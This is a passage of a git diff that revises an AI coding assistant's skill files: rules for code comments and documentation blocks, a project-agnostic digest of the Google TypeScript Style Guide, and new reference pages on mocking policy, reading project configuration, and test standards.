who never saw the change that introduced it?** + +## Comments that narrate a change + +Never write a comment about a change, a fix, or a prior state. Version control carries that, and it carries it better, with an author, a date, and a diff. + +Banned openers, and any paraphrase of them: "now uses", "changed to", "updated to", "previously", "no longer", "restored", "switched from", "fixed to". + +```ts +// Bad: narrates the edit +// Now uses the cached lookup instead of hitting the API on every call +const value = cache.get(key); + +// Good: describes the code +// Cache is populated at startup, so a miss means the key is genuinely unknown +const value = cache.get(key); +``` + +The bad version becomes a lie the first time someone adds a second cache, and it was never useful to a reader who did not know what the code used to do. + +## Comments that argue the code is safe + +Never write a comment defending a decision or asserting that the code works. That documents the edit rather than the code, and it is usually written in response to a review comment rather than to a reader's need. + +```ts +// Bad: argues for correctness +// This is safe because createStars is declared below and is already +// initialized by the time this callback runs +createStars(); + +// Good: states the constraint that makes it true +// Runs after the first paint, so the canvas has real dimensions by here +createStars(); +``` + +The good version tells a reader something they can act on. The bad version tells them the author was worried. + +Say what something does, or why it exists. Do not justify that it works. + +## Correcting rather than deleting + +**When a comment contradicts the code, the code is the truth and the comment is corrected.** Deleting it loses whatever the comment was reaching for, and the mismatch is often the most interesting thing in the file: it usually means either the comment described an intent the code abandoned, or the code drifted from a constraint that still holds. + +Delete a comment only when it restates the line beneath it, or when it is commented-out code. + +## Comments that restate the line beneath them + +Inside a function body, a comment that says what the next line already says is noise: + +```ts +// Bad +// Increment the counter +counter += 1; + +// Good: no comment at all +counter += 1; +``` + +Keep anything carrying a constraint, a hazard, or non-obvious behaviour, even where it is short. + +On a public surface the calculation is different: redundancy there is not a defect, because the reader is meeting the symbol for the first time and cannot see the implementation. + +## Tooling directives are not comments + +Never delete these while tidying. They are instructions to a tool, and removing one changes behaviour: + +`//@ts-check`, `/// `, `// @ts-expect-error`, `// @ts-ignore`, `eslint-disable` and `eslint-disable-next-line`, `biome-ignore`, `istanbul ignore`, `prettier-ignore`, `v8 ignore`, `c8 ignore`, `webpackChunkName` and similar bundler magic comments, `'use client'` and `'use server'` directives, and license headers. + +A bundler magic comment in particular looks like commentary and is load-bearing. + +## Documentation blocks: what carries one + +**Every exported symbol, without exception**, and every member of an exported structure: interface properties, object keys, enum values, and class members that are part of the public surface. + +A private helper carries one when its behaviour is not evident from its name and signature. A binding declared inside a function body does not: the name and type already carry it. + +Write for a reader meeting the symbol for the first time who can infer nothing from its name. Reach for what the signature cannot express: + +- Why it exists, where that is not obvious +- A constraint on the input beyond its type +- An invariant it maintains +- An obligation on the caller, such as cleanup, ordering, or a resource to release + +Where none of those exist, a plain restatement of what the symbol does is correct. **Being obvious is not a defect on a public surface; being absent is.** + +## Types in a documentation block + +This rule is conditional on whether the file is type-checked, and getting it backwards destroys working type information. + +**In a file the compiler type-checks**, omit `@param {string}`, `@returns {number}`, `@type`, and `@typedef`. The compiler already carries the type, the annotation is ignored, and it becomes prose that drifts from the signature. The same applies to `@implements`, `@enum`, `@private`, `@public`, `@protected`, `@readonly`, `@abstract`, and `@override` beside the corresponding keyword. + +**In a plain JavaScript file where the documentation block is the type system**, those annotations are the type information and they stay. Before removing one, check `tsconfig.json` or `jsconfig.json` for `checkJs` and `allowJs`, and check the file for a `//@ts-check` directive. If the file is checked through its documentation blocks, stripping an annotation is a type regression, not a cleanup. + +Add `@param` and `@returns` lines where they say more than the name and type already do. A block with a clear summary and no tags is idiomatic. + +## Leaving existing tags alone + +**A tag already in the tree was added deliberately, annotation and all.** Read the surrounding code, correct what is factually wrong, and change nothing else. + +Specifically, do not: + +- Strip a `{type}` annotation because the file is TypeScript. The author may have had a reason, and the rule above governs new blocks you write. +- Reword accurate prose for style. +- Delete a tag for looking redundant. +- Reorder tags. + +Delete a whole tag only when it is wrong and uncorrectable, such as one documenting a parameter the signature no longer has. + +This is the rule most often broken during an automated pass, because a reviewer reading only the convention sees a redundant tag and removes it. Removing an accurate tag is restyling someone else's work, not auditing it. + +## Tags worth adding + +None of these are expressible in the type system, so each one adds information: + +- `@throws`, naming the error type and the condition +- `@example`, where a usage is not obvious from the signature +- `@deprecated`, which **names its replacement**. A deprecation without migration directions is incomplete. +- `@see`, pointing at a related symbol or an external page + +## Form + +- Open a function or component block with a third-person verb phrase: "Returns the parsed config", not "Return the parsed config" and not "Parses config". +- A documentation comment is a complete sentence, capitalized and punctuated. A short trailing comment may be a fragment. +- One tag per line, tag at line start. +- A block stays on one line until it overflows, at which point the delimiters move to their own lines. +- Bodies are Markdown, so an enumeration needs a real list. Indented plain text collapses into one run-on line when rendered. +- Never box a comment in asterisks or other decorative characters. +- The block precedes a decorator and never sits between the decorator and the declaration. +- Use `//` for implementation notes, and consecutive `//` lines for a multi-line note. No `/* */` block inside a function body, with one exception: naming an argument at a call site, `someFunction(/* shouldRender= */ true)`. + +## Links inside a documentation block + +**Markdown link syntax does not belong in a documentation block.** `[text](url)` is Markdown's form, and `[name](#anchor)` is worse: there is no document to anchor into, so it renders as dead text in every hover tooltip. + +Use the documentation format's own forms: + +- `{@link SymbolName}` for a symbol. The compiler resolves it through its symbol table, so hover and Go to Definition both work. +- `@see https://example.com` for an external page. +- `{@link https://example.com Display text}` to inline an external link. diff --git a/.claude/skills/google-ts-style/SKILL.md b/.claude/skills/typescript-code-and-test-standards/references/google-typescript-style-digest.md similarity index 58% rename from .claude/skills/google-ts-style/SKILL.md rename to .claude/skills/typescript-code-and-test-standards/references/google-typescript-style-digest.md index 54fe1706..959433f1 100644 --- a/.claude/skills/google-ts-style/SKILL.md +++ b/.claude/skills/typescript-code-and-test-standards/references/google-typescript-style-digest.md @@ -1,22 +1,21 @@ ---- -name: google-ts-style -description: Digest of the Google TypeScript Style Guide with this repository's Next.js carve-outs marked. Use for a deliberate style pass over TypeScript, or to settle a style question that .claude/rules/code-style.md does not answer. ---- +# Google TypeScript Style Guide digest -# Google TypeScript style +Digest of the [Google TypeScript Style Guide](https://google.github.io/styleguide/tsguide.html), limited to rules a formatter and linter do not already enforce. Consult it when the host project's configuration, its rules files, and the surrounding code all leave a question open. -Digest of the [Google TypeScript Style Guide](https://google.github.io/styleguide/tsguide.html), limited to rules that Prettier and ESLint do not already enforce here. The day-to-day subset lives in [`code-style.md`](../../rules/code-style.md); this file is the fuller reference. +Anything the project's formatter settles (quotes, semicolons, line width, blank lines at block edges, import order, trailing commas) is out of scope: run the formatter, do not hand-adjust. -Anything Prettier settles (quotes, semicolons, line width, blank lines at block edges, import order, trailing commas) is out of scope: run `npm run prettier`, do not hand-adjust. +**A project that consistently applies a different variant of a rule below has a preference, not a defect.** Follow the project. Several of these rules are commonly and deliberately overridden, and each such rule says so where it applies. -## Carve-outs, read first +## Contents -Four of Google's rules do not apply here. Do not "fix" code to match them. - -- **Default exports.** Google bans them. This repository uses them for components, layouts, App Router route files such as [`page.tsx`](../../../src/app/page.tsx), the data modules such as [`projects.ts`](../../../src/data/projects.ts), and [`theme.ts`](../../../src/styles/theme.ts). Configs, constants, helpers, utilities, instrumentation, and the SVG components in [`icons.tsx`](../../../src/images/icons.tsx) use named exports. -- **Filenames.** Google specifies `snake_case`. This repository uses kebab-case directories with PascalCase component files ([`cookie-snackbar/CookieSnackbar.tsx`](../../../src/components/cookie-snackbar/CookieSnackbar.tsx)). -- **Underscore prefixes.** Google bans `_` on identifiers. Here, intentionally unused variables and arguments require it, because [`eslint.config.js`](../../../eslint.config.js) configures `no-unused-vars` with `argsIgnorePattern: '^_'` and `varsIgnorePattern: '^_'`. -- **Return-type annotations.** Google leaves these to the author rather than mandating them. Treat them as optional and add them where a complex return benefits. +- Naming +- Type system +- Assertions and suppressions +- Imports and exports +- Language features +- Errors +- Comments and documentation +- Rules frameworks commonly override ## Naming @@ -34,8 +33,8 @@ Four of Google's rules do not apply here. Do not "fix" code to match them. - Use interfaces rather than classes to define structural types, and state the type at the symbol's declaration. - Optional fields and parameters (`href?: string`) rather than `href: string | undefined`. - Do not bake `| null` or `| undefined` into a type alias; add nullability at the use site. -- Google expresses no preference between `null` and `undefined`. This codebase uses `undefined`, matching React and Next.js. -- Avoid `any`. Provide a concrete type, or use `unknown` and narrow it with a type guard. Never launder an existing `any` into `unknown` to quiet a linter, and respect an `any` that is deliberate. +- Google expresses no preference between `null` and `undefined`. Follow the host project's prevailing convention, which the surrounding code will show. +- Avoid `any`. Provide a concrete type, or use `unknown` and narrow it with a type guard. **Never launder an existing `any` into `unknown` to quiet a linter**, and respect an `any` that is deliberate. - Do not use `{}` as a type. Use `unknown`, `object`, or `Record`. - `T[]` and `readonly T[]` for simple element types; `Array` for anything more complex. - Give index signatures a meaningful key label (`{ [userName: string]: number }`), and consider `Map`, `Set`, or `Record` instead. @@ -45,34 +44,33 @@ Four of Google's rules do not apply here. Do not "fix" code to match them. ## Assertions and suppressions -- `as` and `!` are unsafe. Prefer a runtime check, and comment why when one is impossible. +- `as` and `!` are unsafe. Prefer a runtime check, and say why in a comment when one is impossible. - Use `as`, never the angle-bracket form. -- Annotate object literals (`const config: Foo = { ... }`) rather than asserting them. The assertion silences excess-property checking, which is where this rule earns its keep. +- **Annotate object literals (`const config: Foo = { ... }`) rather than asserting them.** The assertion silences excess-property checking, which is where this rule earns its keep. - No `@ts-ignore` or `@ts-nocheck`: a specific compiler error usually signals a larger problem. `@ts-expect-error` is permitted in tests, with a comment. ## Imports and exports -- Named exports, exporting only what is used outside the module. The default-export carve-out above overrides this for components, layouts, route files, data modules, and the theme. +- Named exports, exporting only what is used outside the module. See the override note below, since many frameworks require a default export for route and page files. - `export let` is not allowed; expose a getter instead. -- `import type` when a symbol is used only as a type; `export type` when re-exporting one. [`tsconfig.json`](../../../tsconfig.json) sets `isolatedModules`, which requires the latter. +- `import type` when a symbol is used only as a type; `export type` when re-exporting one. A project that sets `isolatedModules` requires the latter. - Prefer named imports for frequently used symbols; prefer a namespace import when pulling many symbols from a large API. - Renaming on import (`{ X as Y }`) is fine for collisions or clarity. - Side-effect-only loads use `import '...';`. -- This repository additionally requires path aliases over relative paths, and bare specifiers over the `node:` prefix. See [`code-style.md`](../../rules/code-style.md). ## Language features - `const` by default, `let` when reassignment is needed, never `var`. One variable per declaration. - `===` and `!==` always, except `== null` when both `null` and `undefined` should match. -- Braced blocks for control flow. See the readability rules in [`code-style.md`](../../rules/code-style.md), which are narrower than Google's. +- Braced blocks for control flow. - Every `switch` has a `default`, placed last, and non-empty groups do not fall through. -- Prefer `for...of`. Never unfiltered `for...in`; use `Object.keys()` or a `hasOwnProperty` check. +- Prefer `for...of`. Never unfiltered `for...in`; use `Object.keys()` or an own-property check. - Spread objects into objects and arrays into arrays only; never spread a primitive, `null`, or `undefined`. - Prefer function declarations for named functions; use arrow functions rather than function expressions. Use a concise arrow body only when the return value is used. - Classes should not hold properties initialized to arrow functions, which obscures `this`. - Convert types with `String()`, `Boolean()`, `Number()`, template literals, or `!!`, never with `new`. Do not use unary `+` for string to number. Check for `NaN` explicitly. Reserve `parseInt` for non-decimal bases. - Do not write an explicit boolean coercion where the context already coerces, such as an `if` or `while` condition. Enum values are the exception: compare them explicitly. -- No `const enum`. No `eval`, `with`, `debugger` in production, builtin prototype modification, `Array()` or `Object()` constructors, `require()` imports, or `namespace Foo {}`. +- No `const enum`. No `eval`, `with`, `debugger` in production, builtin prototype modification, `Array()` or `Object()` constructors, `require()` imports in a module file, or `namespace Foo {}`. - Do not set non-numeric properties on an array; use a `Map` or an object. ## Errors @@ -83,13 +81,24 @@ Four of Google's rules do not apply here. Do not "fix" code to match them. - Treat caught values as `Error`, narrowing where needed. Doing nothing in a `catch` is rarely correct and requires a comment explaining why. - Keep the body of a `try` small where that does not hurt readability. -## Comments and JSDoc +## Comments and documentation + +Google's own rules on this, which the skill's comment guidance extends rather than replaces: -- `/** JSDoc */` for what a consumer of the code needs to know. `//` for implementation notes. Multi-line implementation comments use several `//` lines, never a `/* */` block. +- A documentation block for what a consumer of the code needs to know; `//` for implementation notes. Multi-line implementation comments use several `//` lines, never a block comment. - Document all top-level exports. -- Do not restate types in JSDoc. TypeScript ignores `@param {string}`, `@returns {number}`, `@type`, `@typedef`, `@implements`, and `@enum` in `.ts` and `.tsx` files, so they become prose that drifts from the signature. +- Do not restate types in a documentation block in a file the compiler type-checks. `@param {string}`, `@returns {number}`, `@type`, `@typedef`, `@implements`, and `@enum` are ignored there, so they become prose that drifts from the signature. - `@param` and `@returns` lines are required only where they add information beyond the name and type. A block with a good summary and no tags is idiomatic. - Do not use `@override`; the compiler does not enforce it, so it drifts. - Document a non-obvious argument at the call site with a block comment (`foo(/* silent= */ true)`), or prefer an options object with destructuring. -- Write the JSDoc block before a decorator, not between the decorator and the declaration. -- JSDoc is Markdown. Use `-` lists rather than whitespace alignment, and give each tag its own line. +- Write the documentation block before a decorator, not between the decorator and the declaration. +- Bodies are Markdown. Use `-` lists rather than whitespace alignment, and give each tag its own line. + +## Rules frameworks commonly override + +These four are the ones a host project most often contradicts on purpose. Check the project before applying any of them, and never "fix" code to match Google where the project has chosen otherwise. + +- **Default exports.** Google bans them. Many frameworks require a default export for route, page, layout, and component files, and many projects extend that to their own components by convention. +- **Filenames.** Google specifies `snake_case`. Most JavaScript and TypeScript projects use kebab-case directories with either kebab-case or PascalCase file names. +- **Underscore prefixes.** Google bans `_` on identifiers. A project whose linter configures `no-unused-vars` with an `argsIgnorePattern` or `varsIgnorePattern` of `^_` requires the prefix on intentionally unused bindings, which inverts the rule. +- **Return-type annotations.** Google leaves these to the author rather than mandating them. Treat them as optional and add them where a complex return benefits, unless the project's linter requires them. diff --git a/.claude/skills/typescript-code-and-test-standards/references/mocking-policy.md b/.claude/skills/typescript-code-and-test-standards/references/mocking-policy.md new file mode 100644 index 00000000..7d7c34cd --- /dev/null +++ b/.claude/skills/typescript-code-and-test-standards/references/mocking-policy.md @@ -0,0 +1,99 @@ +# Mocking policy + +The full argument behind the mocking rules in the skill body, plus the escalation ladder, the test that separates logic from a boundary, and worked examples. + +## Contents + +- What a mock costs +- The escalation ladder +- The logic-against-boundary test +- Boundaries that qualify +- Boundaries that do not qualify +- The one-line justification rule +- Never mock to make a failing test pass +- Worked examples +- Retrieving mock state + +## What a mock costs + +A mock is a claim about how a dependency behaves, written by the person whose code is under test. It has three properties that make it expensive: + +1. **It is written from belief, not observation.** The author writes what they think the dependency does. Where belief and reality differ, the test passes and production fails. +2. **It does not decay when the dependency changes.** The real module can change its return shape, throw a new error, or become asynchronous, and every mock of it keeps returning the old shape. The test stays green through the exact change it existed to catch. +3. **It subtracts from what the test proves.** Each mock removes one real collaborator from the assertion. A test whose collaborators are all mocked asserts only that mocks were called in the expected order, which is a restatement of the implementation rather than a check on it. + +This applies to every substitution technique, not only a module mocker: stubs, fakes, spies that replace behaviour, hand-written doubles, dependency-injection containers wired to fakes, and monkey-patching a module's export. + +A spy that only records calls while the real implementation still runs is not a substitution and does not carry this cost. + +## The escalation ladder + +Work down it. Stop at the first rung that works. Reaching rung five without having genuinely tried the four above it is the common failure. + +1. **Use the real implementation with real inputs.** Most helpers, utilities, pure functions, hooks, and components run fine in a browser-like test environment. Try it before assuming it cannot. +2. **Pass the value in rather than replacing the module.** A function that receives its dependency as an argument needs no mock, only a different argument. Where the code does not allow that, changing the code to allow it is usually the better fix, and it improves the production design at the same time. +3. **Build a real object or fixture and assert on real output.** A hand-built input plus the real code path proves more than a mocked call count. +4. **Move the assertion to a level where the seam is real.** A behaviour that cannot be tested honestly at the unit level often can be at the integration or end-to-end level, where the real dependency is present. +5. **Only then, mock the outermost boundary the test needs.** + +## The logic-against-boundary test + +Ask one question about the module you are about to mock: **if this module's body changed, should some test fail?** + +- **Yes** means it holds logic. Do not mock it. Helpers, utilities, domain logic, components, hooks, constants, and static data modules all answer yes, whoever wrote them. +- **No, its whole job is to hand work to something outside the process** means it is a boundary, and mocking it may be justified. + +**Never mock the subject under test, in whole or in part.** A partial mock of the module you are testing means the test no longer tests it: the parts you replaced are the parts you stopped checking, and the test will keep passing when they break. + +## Boundaries that qualify + +Each is here because the real thing cannot run in a test environment, not because mocking it is convenient. + +| Boundary | Why it qualifies | +| --- | --- | +| A third-party SDK that reaches the network | The call leaves the process. Running it makes the test slow, non-deterministic, and dependent on someone else's uptime. | +| The project's own thin wrapper around such an SDK, when testing a consumer of it | Its whole job is to reach the outside world, so it carries no logic of its own to lose. | +| Framework context the test renderer cannot supply | Routing, navigation, and request context that only exist inside the framework's own runtime. | +| The clock | Fake timers replace the environment rather than your code, which is why they are not the same kind of substitution. | +| Platform APIs the test environment omits | Browser or runtime APIs the test environment does not implement. | +| A module with an unavoidable side effect at import time | Analytics initialization, telemetry registration, or a network call that fires on load. | + +**The wrapper exception is narrow.** A wrapper qualifies only because it does nothing but reach outside. The moment it validates, transforms, retries, caches, or branches, it holds logic and rung one applies again. + +## Boundaries that do not qualify + +- A module that is merely slow. Fix the slowness or accept it. +- A module that is awkward to set up. That awkwardness is a design signal, and rung two usually addresses it. +- A module whose real output is hard to assert on. That means the assertion needs rethinking, not that the module needs replacing. +- A module you did not write. Authorship is irrelevant; the logic-against-boundary test is the only criterion. +- The file system, in most cases. A temporary directory is usually cheaper and more honest than a mock. + +## The one-line justification rule + +**Anything outside the qualifying table needs a one-line comment above the mock naming the boundary it crosses.** Not what the mock returns, and not that it is needed: which boundary, and why the real thing cannot run here. + +If you cannot write that sentence, the mock is not justified. Use the real thing. + +This rule exists because it is cheap to check. In review, a mock without that comment is a finding, and a mock whose comment does not name a boundary is the same finding. + +## Never mock to make a failing test pass + +A mock introduced while chasing a red test is hiding the failure rather than fixing it. The sequence to watch for is: the test fails, a collaborator looks like the cause, the collaborator gets mocked, the test goes green, and the original defect ships. + +When a test is red, the fix is upstream: read the test, read the source, name the cause. If a mock still seems necessary afterwards, restart the ladder at rung one, because the reasoning that led to it was reached under pressure. + +## Worked examples + +**Rung two instead of a mock.** A function that reads configuration through an imported singleton needs the singleton mocked. The same function taking the configuration as a parameter needs a different argument. Changing the signature costs one line at each call site and removes the mock permanently. + +**A real fixture instead of a mocked return.** Testing a formatter by mocking the parser it calls asserts that the formatter passed the parser's fake output through. Testing it with a real parsed fixture asserts that the formatter formats. Only one of those breaks when the formatter breaks. + +**Leaving a framework component unmocked.** A framework image or link component that rewrites its attributes at render time is often mocked so a test can assert an exact value. Leaving it real and asserting on a substring of the rendered attribute keeps the real component in the test, so the assertion still holds when the rewriting changes. + +**Where a mock is right.** A module whose entire body is a call to a network SDK, imported by the component under test, mocked so rendering the component does not fire a live request. The mock replaces nothing that computes, and the comment naming the boundary writes itself. + +## Retrieving mock state + +Reach for the test runner's own typed accessor rather than a bare dynamic import inside the test body: it keeps the type of the mocked symbol and it does not run at a different time than the rest of the module graph. Cast the imported symbol to the runner's mocked-function type where the runner provides one. + +Clear mock state between cases in a shared setup hook. A mock whose call history leaks across cases makes the order of the file load-bearing, which is one of the flakiness sources listed in the test standards. diff --git a/.claude/skills/typescript-code-and-test-standards/references/project-detection.md b/.claude/skills/typescript-code-and-test-standards/references/project-detection.md new file mode 100644 index 00000000..823ebda2 --- /dev/null +++ b/.claude/skills/typescript-code-and-test-standards/references/project-detection.md @@ -0,0 +1,114 @@ +# Project detection + +How to read a host project's configuration and turn it into decisions. The compressed table lives in the skill body; this file carries the detail, the parsing traps, and what to do when a signal is absent. + +## Contents + +- Why detection replaces assumption +- Formatting +- Lint rules +- Type strictness and path aliases +- Commands +- Test runner +- Editor defaults +- Project rules files +- Precedence, restated with worked cases +- When nothing answers the question + +## Why detection replaces assumption + +Every mechanical convention in a JavaScript or TypeScript project is already written down somewhere machine-readable. Tabs against spaces, quote style, print width, semicolons, import ordering, alias names, and strictness are all declared in configuration, and the configuration is the truth. A skill that asserts its own preference for any of them is wrong in every project that chose differently, and it is wrong silently. + +So the rule is: look it up. The only things worth carrying between projects are the judgements no configuration file can express, which are the rest of this skill. + +## Formatting + +Read, in the order a formatter itself resolves them: + +- `.prettierrc`, `.prettierrc.json`, `.prettierrc.yaml`, `.prettierrc.yml`, `.prettierrc.json5`, `.prettierrc.js`, `.prettierrc.cjs`, `.prettierrc.mjs`, `prettier.config.js`, `prettier.config.cjs`, `prettier.config.mjs` +- a `prettier` key in `package.json` +- `biome.json` or `biome.jsonc` under `formatter` +- `dprint.json` +- `.editorconfig`, which Prettier reads for `indent_style`, `indent_size`, `end_of_line`, and `max_line_length` when the corresponding option is unset + +Fields that matter: `useTabs`, `tabWidth`, `printWidth`, `semi`, `singleQuote`, `jsxSingleQuote`, `trailingComma`, `arrowParens`, `endOfLine`, and `overrides`, which can change all of the above for a subset of files. + +**Traps.** A `plugins` entry can change behaviour a config field does not describe: an import-sorting plugin means import order is the formatter's business and hand-ordering is a defect. An `overrides` block means the answer differs per glob, so match the file you are editing rather than reading the top-level value. A `.prettierignore` entry means the file is not formatted at all, and `.editorconfig` decides it instead. + +## Lint rules + +Flat config (`eslint.config.js`, `eslint.config.mjs`, `eslint.config.cjs`, `eslint.config.ts`) exports an array of objects, each with `files`, `rules`, `languageOptions`, and `plugins`. Later entries override earlier ones, so the effective rule set for a file is the merge of every entry whose `files` glob matches it. There is no cascade from parent directories. + +Legacy config (`.eslintrc`, `.eslintrc.json`, `.eslintrc.js`, `.eslintrc.yml`, or an `eslintConfig` key in `package.json`) cascades from the file's directory upward unless an entry sets `root: true`, and `overrides` blocks apply per glob. + +Biome declares its rules under `linter.rules` in `biome.json`. + +**What to extract:** whether `curly`, `eqeqeq`, `no-unused-vars` (and its `argsIgnorePattern` and `varsIgnorePattern`), `padding-line-between-statements`, `no-explicit-any`, and any import-order rule are on, off, or warn-only. + +**The load-bearing trap:** a rule the project turned off is a decision. Do not report a violation of a rule the project disabled, and do not re-enable it. Read the config before flagging anything a linter could have flagged. + +## Type strictness and path aliases + +From `tsconfig.json`, or `jsconfig.json` in a JavaScript project: + +- `compilerOptions.strict` and the individual flags it implies, since a project can enable `strict` and then disable one member of it +- `compilerOptions.isolatedModules`, which makes `export type` mandatory when re-exporting a type +- `compilerOptions.paths` and `baseUrl`, which define the alias set +- `compilerOptions.allowJs` and `checkJs`, which decide whether JavaScript files are type-checked, and therefore whether documentation-block type annotations are load-bearing or noise +- `verbatimModuleSyntax`, which changes how `import type` is emitted +- `extends`, which can point at a shared base config in a dependency, so the effective options are the merge + +**Traps.** A monorepo often has a root config plus one per package, and `references` entries mean several programs exist. A test directory frequently has its own `tsconfig.json` with a different `types` array, so the same source file can be checked twice under different settings. + +## Commands + +Look for a single entry point first: a `validate`, `check`, `ci`, `verify`, or `all` script in `package.json`, a target of the same name in a `Makefile` or `justfile`, or a task in `Taskfile.yml`. Where one exists, prefer it over running the steps individually, because it encodes the project's own ordering. + +Where none exists, the order is format, then lint, then type check, then unit tests, then integration and end-to-end tests. Read the CI workflow to confirm: the workflow is what actually gates a merge, and it sometimes runs a different command than the local script. + +**Confirm exit codes.** A chained command joined by `&&` stops at the first failure, so a failure in step two means steps three onward never ran. Never record those as passed. + +## Test runner + +- `jest.config.js`, `jest.config.ts`, `jest.config.mjs`, or a `jest` key in `package.json` +- `vitest.config.ts` or a `test` key in `vite.config.ts` +- `cypress.config.ts`, `playwright.config.ts` +- `.mocharc.*`, or a `mocha` key in `package.json` +- a `test` script in `package.json`, which reveals the runner even when its config is defaulted + +**What to extract:** `testMatch` or `testRegex` and `testEnvironment` (which decide the naming convention and whether browser APIs exist), `moduleNameMapper` or `resolve.alias` (which decide whether aliases resolve inside tests), `setupFiles` and `setupFilesAfterEach` (which reveal global mocks already in place), and any `passWithNoTests` flag. + +**The `passWithNoTests` trap:** when it is set, a run that matched zero test files exits 0. A green exit alone does not prove any test executed, so confirm the reported test count. + +## Editor defaults + +`.editorconfig` declares `indent_style`, `indent_size`, `end_of_line`, `charset`, `trim_trailing_whitespace`, `insert_final_newline`, and `max_line_length` per glob. It decides only for files no formatter covers, since a formatter that reads it will already have applied it, and a formatter that overrides it wins for the files it formats. + +## Project rules files + +`AGENTS.md`, `CLAUDE.md` and `CLAUDE.local.md`, `.github/copilot-instructions.md`, `.github/instructions/*.instructions.md`, `.claude/rules/*.md`, `.cursor/rules/*`, and `CONTRIBUTING.md`. + +These are the project speaking directly, so they outrank every inference and every rule in this skill. Read them before writing anything. A path-scoped file (`applyTo:` or `paths:` frontmatter) applies only to files matching its globs, so check whether the file you are editing is in scope. + +## Precedence, restated with worked cases + +1. **Project rules file.** It wins outright. +2. **Formatter** for anything it formats. +3. **Linter** for anything it checks. +4. **Compiler** for types. +5. **`.editorconfig`** for files no formatter covers. +6. **Surrounding code**, read from two or three neighbouring files of the same kind. +7. **This skill**, for the judgements none of the above express. + +Worked cases: + +- *The formatter says spaces, `.editorconfig` says tabs, for a `.ts` file.* The formatter wins; the `.editorconfig` entry is dead for that glob. +- *The linter has `curly` off, and this skill wants braces.* The linter wins. Do not flag an unbraced block. +- *A rules file mandates relative imports, and `tsconfig.json` declares aliases.* The rules file wins. Aliases existing is not an instruction to use them. +- *Nothing declares a quote style and no formatter is installed.* Match the neighbouring files, and change nothing that already exists. + +## When nothing answers the question + +Match the surrounding code, and if the surrounding code is inconsistent, match the newest file that looks deliberate. Say in your output that the project declares no convention for it, so the choice is visible rather than silently invented. + +**Never create or edit a configuration file to make the project match this skill.** Adding a `.prettierrc`, enabling a lint rule, or tightening `tsconfig.json` is a project decision with consequences across every file, and it is not yours to make from inside an editing task. Note it as a recommendation instead. diff --git a/.claude/skills/typescript-code-and-test-standards/references/test-standards.md b/.claude/skills/typescript-code-and-test-standards/references/test-standards.md new file mode 100644 index 00000000..5035cf29 --- /dev/null +++ b/.claude/skills/typescript-code-and-test-standards/references/test-standards.md @@ -0,0 +1,123 @@ +# Test standards + +The test mandate, the one-file-per-source rule and its exemptions, the prohibitions, naming, and table-driven discipline. The compressed rules are in the skill body; mocking has its own reference. + +## Contents + +- The mandate +- One test file per source file +- Exemptions and why each one is exempt +- The prohibitions +- The question every test answers +- Naming +- Table-driven tests +- Shared setup +- Time, timers, and other flakiness sources +- Accessibility assertions +- Running tests and reading the result + +## The mandate + +**Logic changes, bug fixes, and new features land with their tests in the same change.** The test asserts the specific behaviour the change introduces or repairs, which is what locks the change against regression. A follow-up commit that promises tests later is a change without tests. + +**Pure refactors, renames, and file moves need no new tests, but every existing test must still pass.** A diff that skips, deletes, or weakens a test is a behaviour change wearing a refactor's label. + +For a bug fix specifically, the test should fail against the unfixed source. A test written after the fix that passes either way locks in nothing. + +## One test file per source file + +Colocated, same name, using whatever suffix the project already uses. A source file gives exactly one test file beside it. + +That means no orphan test file without a same-named source beside it, no test file named after a function that lives in another file, and no second test file for one source. A second file for one source splits the picture of what that module guarantees, and the split is invisible from either half. + +Where a source file has grown enough to want two test files, the signal is about the source, not the tests: it is doing more than one thing and wants splitting first. + +## Exemptions and why each one is exempt + +Each of these is exempt because there is no behaviour to lock in, not because testing them is inconvenient: + +- **Static data modules.** A module that exports a literal has no code path. A test asserting the literal equals itself fails only when someone edits the data deliberately. +- **Type-only modules.** They emit nothing. The compiler already checks them. +- **Generated files.** The generator is the thing to test. +- **Framework metadata and route manifest exports.** They return a configuration object the framework consumes; the framework's own behaviour is not yours to test. +- **Instrumentation entry points.** They run once at process start and their effect is observed elsewhere. + +**Components are not exempt.** They hold conditional rendering, event wiring, and prop handling, all of which are behaviour. + +Confirm the host project's own exemption list before applying this one. A project that tests its data modules has a reason. + +## The prohibitions + +- **Never skip, gut, or delete a failing test.** Read the test, read the source, find the cause, fix it, and confirm it passes with real assertions. +- **Never use `.skip`** on a test or a suite. A skipped test is invisible failure with a maintenance cost. Remove it instead, and open an issue if the behaviour still matters. +- **Never write a no-op assertion.** `expect(true).toBe(true)` and its variants pass unconditionally. +- **Never assert the implementation back at itself.** A test that mirrors the code line for line fails only when the code changes shape, not when it breaks. +- **Never type-assert an already-typed value.** Checking that a `string` is a string tests the compiler, and the compiler already ran. +- **Never build a one-row table.** A table with one row is a loop that runs once, which is a plain test case written indirectly. +- **Never add a fallback in production code to make a test pass.** A `?? defaultValue` inserted to satisfy an assertion moves a defect from the test into production. + +## The question every test answers + +**What behaviour does this lock in that a real future change could break?** + +If the answer is nothing, delete the test. If the answer is hard to state, the test is probably asserting an implementation detail. + +The sharper version, useful in review: **would this test fail if the behaviour it names were broken?** A test that would keep passing through the break is not protecting anything, whatever its coverage contribution. + +## Naming + +The suite names the subject. The case names the behaviour, as a third-person verb phrase. + +```ts +describe('ProjectsGrid', () => { + it('logs an analytics event on project hover', () => {}); + it('renders a fallback when the project list is empty', () => {}); +}); +``` + +New titles do not start with "should": it adds a word to every title and expresses doubt about the thing being asserted. Titles already written that way are grandfathered, so do not rewrite them in an unrelated change. + +A second sibling suite separates a distinct concern rather than nesting deeper. + +## Table-driven tests + +Use a table when rows vary input and expected output across the **same** code path: + +```ts +it.each([ + { breakpoint: 'sm', expectedColumns: 2, minWidth: '600px' }, + { breakpoint: 'md', expectedColumns: 3, minWidth: '900px' }, +] as const)('renders $expectedColumns columns from $minWidth ($breakpoint)', ({ expectedColumns, minWidth }) => {}); +``` + +Name every field. Positional rows make the case unreadable at the call site and unmaintainable when a column is added. + +Rows that differ in the assertion body rather than the data belong in separate cases: a table whose rows each run different code is a noisier loop with a shared title template. + +## Shared setup + +Put shared setup in the runner's before-each hook, and clear mock state there too. State that leaks between cases makes the order of the file load-bearing, which is a flakiness source that only shows up under a randomized or parallel run. + +Prefer building a fresh subject per case over sharing one across the file. + +## Time, timers, and other flakiness sources + +- **Debounced or delayed behaviour** uses the runner's fake timers, installed in the before-each hook and torn down in the after-each hook after running pending timers. Real waiting in a test is slow and non-deterministic. +- **Wall-clock reads** (`Date.now()`, `new Date()`) and **unseeded randomness** (`Math.random()`) make a test depend on when and where it runs. Freeze the clock and seed or inject the randomness. +- **Iteration order** of a map, set, or directory listing 